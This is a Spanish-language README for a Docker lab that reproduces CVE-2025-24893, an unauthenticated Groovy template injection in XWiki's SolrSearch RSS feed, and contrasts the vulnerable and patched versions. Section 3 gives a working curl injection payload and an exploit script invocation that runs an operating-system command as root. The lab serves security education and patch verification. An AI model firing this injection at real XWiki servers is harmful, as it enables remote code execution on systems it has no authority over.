CVE-2025-24893 - SSTI en SolrSearch de XWiki que permite ejecución remota de código sin autenticación

Un laboratorio Docker autónomo que reproduce CVE-2025-24893, una inyección de plantillas del lado del servidor en el feed RSS de SolrSearch de XWiki que conduce a la ejecución remota de código no autenticada. Ejecuta la versión vulnerable 15.10.10 y la versión corregida 15.10.11, de modo que la misma petición puede mostrarse teniendo éxito en una y fallando en la otra.

Nota sobre el uso de herramientas de IA. Al preparar este proyecto hice un uso limitado de dos asistentes de IA --- Claude Opus 4.8 de Anthropic y DeepSeek-V4-Flash-0731 --- para la investigación de documentación y enfoque, para la revisión de código y para pulir la redacción del archivo README.md y del informe LaTeX. Su contribución fue marginal y estrictamente subordinada a mis propias decisiones.

1. Requisitos previos

• Docker Engine y Docker Compose v2 (el subcomando docker compose, no el antiguo binario docker-compose). Anota las versiones para el informe con docker --version y docker compose version.
• Unos 2 GB de RAM libre para el contenedor de XWiki (el heap de la JVM está fijado en 1 GB) más MySQL.
• Funciona en amd64 y arm64 (incluido Apple Silicon): la imagen base tomcat:9-jre17, mysql:8.4 y el controlador JDBC de Java puro son todos multiarquitectura.
• Solo se necesita acceso a Internet en la primera compilación, para descargar el WAR de XWiki y el controlador JDBC, ambos verificados por checksum.

2. Estructura de directorios

cve-2025-24893-xwiki/
├── SETUP_GUIDE.md
├── README.md
├── docker-compose.vuln.yml       # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
├── docker-compose.patched.yml    # MySQL 8.4 + XWiki 15.10.11 (corregida)
├── exploit.py                    # prueba de concepto con la biblioteca estándar
├── figures/
│   ├── Figure 1.png
│   ├── Figure 2.png
│   ├── Figure 3.png
│   └── Figure 4.png
├── mysql/
│   └── init.sql                  # privilegios para el usuario xwiki de la base de datos
└── xwiki-build/                  # compilación de la imagen, fijada a la versión exacta por SHA-256
    ├── Dockerfile
    ├── tomcat/
    │   └── setenv.sh
    └── xwiki/
        ├── docker-entrypoint.sh
        └── hibernate.cfg.xml

La única diferencia entre los dos entornos es la versión de XWiki. Todo lo demás, incluida la imagen de la base de datos y el controlador JDBC, es idéntico, por lo que cualquier cambio de comportamiento se debe a la corrección y a nada más.

3. Reproducir la vulnerabilidad (15.10.10)

Compila e inicia:

docker compose -f docker-compose.vuln.yml up --build -d

La primera compilación descarga y descomprime XWiki, lo que tarda unos minutos. Espera a que Tomcat informe del arranque:

docker compose -f docker-compose.vuln.yml logs -f xwiki   # wait for "Server startup in ..."

Completa la configuración única del primer arranque: abre http://localhost:8080 y completa el Asistente de distribución (instala el sabor XWiki Standard predeterminado). Esto aprovisiona la interfaz de SolrSearch a la que apunta el exploit. El endpoint es accesible para invitados, por lo que el ataque en sí no requiere inicio de sesión; esta configuración inicial es el único paso que sí lo requiere.

Lanza el exploit (sin autenticación):

python3 exploit.py http://localhost:8080

Salida esperada en el entorno vulnerable:

[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.

Opcionalmente, muestra que la ejecución llega al sistema operativo con un comando de solo lectura:

python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...

La misma petición como un one-liner de curl:

curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnerable -> prints arith=42

Toma una captura de pantalla de la salida para el informe y luego desmonta el entorno:

docker compose -f docker-compose.vuln.yml down          # add -v to also wipe the volumes

4. Reproducir la corrección (15.10.11)

docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki   # wait for "Server startup in ..."

Completa de nuevo el Asistente de distribución en http://localhost:8080 y luego ejecuta el mismo exploit:

python3 exploit.py http://localhost:8080

Salida esperada en el entorno corregido:

[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).

Toma también esta captura de pantalla y luego restablece:

docker compose -f docker-compose.patched.yml down -v

Por qué funciona la corrección

En la versión 15.10.10, el bloque de salida del feed emite el feed como una expresión Velocity simple ($xwiki.feed.getFeedOutput($feed, 'rss_2.0')), por lo que el feed —que refleja el texto de búsqueda del usuario— se pasa de nuevo a través del proceso de renderizado de XWiki, donde se ejecuta una macro {{groovy}} incrustada. En la versión 15.10.11, ese bloque se sustituye por una llamada a una nueva macro rawResponse (SolrSearchMacros.xml, línea 954; la macro está definida en templates/macros.vm). rawResponse establece explícitamente el tipo de contenido (application/rss+xml), escribe los bytes del feed directamente en la respuesta con $response.writer.print(...) y llama a $xcontext.setFinished(true) para detener cualquier renderizado posterior, de modo que el feed se envía tal cual y el bloque {{groovy}} incrustado nunca se evalúa. Commit del parche 67021db9b8ed26c2236a653269302a86bf01ef40, aviso GHSA-rr6p-3pfg-562j. El aviso también ofrece una solución alternativa manual: editar para usar el mismo patrón , lo que cierra el sumidero sin actualizar.

5. Determinismo y restablecimiento

• Fijado: las versiones de XWiki (15.10.10 y 15.10.11), los checksums SHA-256 del WAR y del JDBC, la imagen base tomcat:9-jre17, la base de datos mysql:8.4 y el puerto 8080.
• Restablece el estado con docker compose -f <file> down -v; el siguiente up vuelve a inicializar desde cero.
• Las credenciales (xwiki/xwiki, root xwiki-root) son solo para este laboratorio local.
• Los dos entornos usan nombres de proyecto de Compose diferentes, por lo que sus volúmenes nunca colisionan. No ejecutes ambos a la vez, ya que ambos publican el puerto 8080.

6. Verifica tú mismo los checksums fijados

for V in 15.10.10 15.10.11; do
  curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
  echo "$V  $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
#         15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c

curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0  $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5

Atribución

xwiki-build/ (Dockerfile, docker-entrypoint.sh, hibernate.cfg.xml, setenv.sh) y mysql/init.sql están adaptados o copiados de la compilación oficial de XWiki, https://github.com/xwiki-contrib/docker-xwiki (LGPL-2.1). El Dockerfile difiere de la imagen upstream en tres pequeños aspectos documentados: (1) la versión de XWiki y del JDBC y el checksum se pasan como argumentos de construcción, de modo que un solo archivo construye tanto la imagen vulnerable como la corregida; (2) un chmod +x explícito garantiza que el entrypoint sea ejecutable incluso si se pierden los permisos de Unix al descomprimir o transferir los archivos; y (3) se corrigió un comentario desactualizado del upstream que hacía referencia a un archivo .env (no utilizado aquí). XWiki es copyright del XWiki Development Team.